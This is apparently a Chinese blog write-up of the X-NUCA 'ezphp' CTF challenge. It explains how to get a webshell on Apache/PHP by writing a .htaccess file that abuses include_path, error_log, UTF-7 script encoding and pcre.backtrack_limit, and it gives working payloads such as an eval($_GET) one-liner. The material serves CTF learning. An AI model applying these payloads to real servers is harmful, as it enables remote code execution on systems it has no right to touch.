• X-NUCA-ezphp记录


    鸽了很久,还是记录一下

    比赛的时候搞了很长时间,终于和mlt师傅搞出来了,竟然只有我们一队是预期解==

    <?php
        $files = scandir('./');
        foreach($files as $file) {
            if(is_file($file)){
                if ($file !== "index.php") {
                    unlink($file);
                }
            }
        }
        include_once("fl3g.php");
        if(!isset($_GET['content']) || !isset($_GET['filename'])) {
            highlight_file(__FILE__);
            die();
        }
        $content = $_GET['content'];
        if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
            echo "Hacker";
            die();
        }
        $filename = $_GET['filename'];
        if(preg_match("/[^a-z.]/", $filename) == 1) {
            echo "Hacker";
            die();
        }
        $files = scandir('./');
        foreach($files as $file) {
            if(is_file($file)){
                if ($file !== "index.php") {
                    unlink($file);
                }
            }
        }
        file_put_contents($filename, $content . "
    Just one chance");
    ?>

    题目就给了一个php文件,整个逻辑也比较简单,首先删除当前目录下非index.php的文件,然后include(‘fl3g.php’),之后获取filename和content并写入文件中。其中对filename和content都有过滤。

    那么从可控参数filename和content来看,

    filename若匹配到除了a-z和单引号.以外的其它字符,则触发waf,

    而content中也过滤了一些关键字,当然刚拿题的确不知道为啥要过滤这些。因为看到file_put_content和unlink自然想到了条件竞争写shell,但是测试过程虽然能够写进.php文件但是不解析,并且由于题目服务器中间件为apache,因此想到了传.htaceess来解析php,通常我们用

    .htaccess来解析非php后缀文件时用到

    AddType application/x-httpd-php .ppp

    或者

    <FilesMatch "shell.jpg">

      SetHandler application/x-httpd-php

    </FilesMatch>

    但是此时content中过滤了on,type,并且过滤了file,那么

    auto_append_file和

    auto_prepend_file肯定也无法使用,搜索中.htaccess+getshell大多数也是结合这两种方法,结合题目逻辑:

    1.删除除了index.php的所有文件,但是.htaccess如果上传肯定unlink没法删除

    2.fl3g.php被删除,但是又有include,肯定要利用到包含来getshell

    有了以上两点在php.ini中找了找,发现了有趣的几项配置:

     

    顾名思义,include_path用来设置include()或require()函数包含文件的参考路径,也就是说当使用include()或require()函数包含文件的时候,程序首先以include_path设置的路径作为参考点去找文件,如果找不到,则以程序自身所在的路径为参考点去找所要的文件,如果都找不到,则出错,那么我们就可以通过修改它来控制include的路径,那么如果我们能够在其它目录写入同名的fl3g.php让其包含,那么就能够getshell,并且达到fl3g.php文件不被删除。

    然而经过一番搜索,并未找到可修改filename中文件路径分隔符的配置项,因此路径分割符/无法使用,即无法file_put_contents任意目录写文件。

     

    了一下,发现该函数可以把错误日志保存到指定的目录中,那么可以通过php_value来设置其为/tmp/fl3g.php,那么当报错时将会把错误信息保存到该fl3g.php中,当然要配合设置log_errors为1开启错误记录,报错的话可以通过include_path来报错,那么此时思路应该比较清晰了:

    1.写.htaccess,访问index.php,通过报错将shell写入到/tmp/fl3g.php

    2.写.htaccess,包含fl3g.php来getshell

    那么此时又遇到一个trick,写入的.htaccess将会和 及字符串拼接在一起

    那么通常.htaccess中出现无意义字符再访问当前目录文件服务器将500,那么.htaccess又不支持多行注释,并且单行注释#必须在每行的开头,那么此时可以通过反斜杠和#来用单行注释kill掉just one chance字符串。本地先测试一波:

     payload:

    index.php?filename=.htaccess&content=php_value include_path "<?=phpinfo();?>"%0d%0aphp_value log_errors 1%0d%0aphp_value error_log  /tmp/fl3g.php%0d%0a%23 

    此时将写入.htaccess

     

    再次访问index.php

    此时将include_path中的payload写入到了fl3g.php中,但是从观察来看<>被html实体编码转义了,html_errors里面html也被过滤了。说明此时shell无法利用,上周suctf也考到了.htaccess中编码来绕过<?的过滤,但是此时只转义了<,因此UTF-16,UTF-32均无法bypass,此时结合Insomnihack 2019 -l33t-hoster题解中使用UTF-7编码来绕过<的过滤,结合php.ini的设置项

     

    并且利用wp中已经给的poc:

    +ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+Ads

    再在走一遍之前的流程,首先写入payload,发现并未转义

    第二次写.htaccess更新inlcude_path为/tmp目录,并开启utf-7编码检测

    此时需要写入以上三个值,写入情况如下图

     此时再访问index.php来getshell即可,这里要注意本地要设置一下除了index.php不解析其它以php为后缀的文件,否则这里本地测试包含fl3g.php时无法getshell,本地跑完以后就可以远程打了

    这道题用到了以下几个trick:

    1.error_log结合log_errors自定义错误日志

    2.include_path带入payload

    3.include_path更改包含路径

    4.php_flag zend.multibyte 1结合php_value zend.script_encoding "UTF-7"绕过尖括号<过滤

    5.# 绕过just one chance

    用到的几个trick都是php.ini自带的配置,getshell的过程也更具有普适性

    看了赛后的wp,还有两个非预期解:

    1.正则匹配时:

    if(preg_match("/[^a-z.]/", $filename) == 1) 而不是if(preg_match("/[^a-z.]/", $filename) !== 0),因此可以通过php_value 设置正则回朔次数来使正则匹配的结果返回为false而不是0或1,默认的回朔次数比较大,可以设成0,那么当超过此次数以后将返回false

    php_value pcre.backtrack_limit    0
    php_value auto_append_file    ".htaccess"
    php_value pcre.jit   0
    #aa<?php eval($_GET['a']);?>

    令filename为:

    filename=php://filter/write=convert.base64-decode/resource=.htaccess

    这样content就能绕过stristr,一般这种基于字符的过滤都可以用编码进行绕过,这样就能getshell了,这里还学到了p牛的一篇文章:

    https://www.leavesongs.com/PENETRATION/php-filter-magic.html?page=1#reply-list,php://filter的妙用

    2.非预期2

    因为后面content会拼接无意义字符串, 因此采用.htaccess的单行注释绕过 # ,这里反斜杠本来就有拼接上下两行的功能,因此这里本来就可以直接使用来连接被过滤掉的关键字来写入.htaccess,

    比如

    php_value auto_prepend_fi
    le ".htaccess"

    当时实在是没想到这种。。。不知道为啥没想到

  • 相关阅读:
    NYOJ70 阶乘因式分解(二)
    HDOJ4519 郑厂长系列故事——体检
    c/s网络编程
    HDOJ4535 吉哥系列故事——礼尚往来
    HDOJ4505 小Q系列故事——电梯里的爱情
    顺序图/序列图试验
    协作图实验
    HDOJ4530 小Q系列故事——大笨钟
    HDOJ4515 小Q系列故事——世界上最遥远的距离(日期问题)
    Web上传文件的原理及实现
  • 原文地址:https://www.cnblogs.com/tr1ple/p/11439994.html
Copyright © 2020-2023  润新知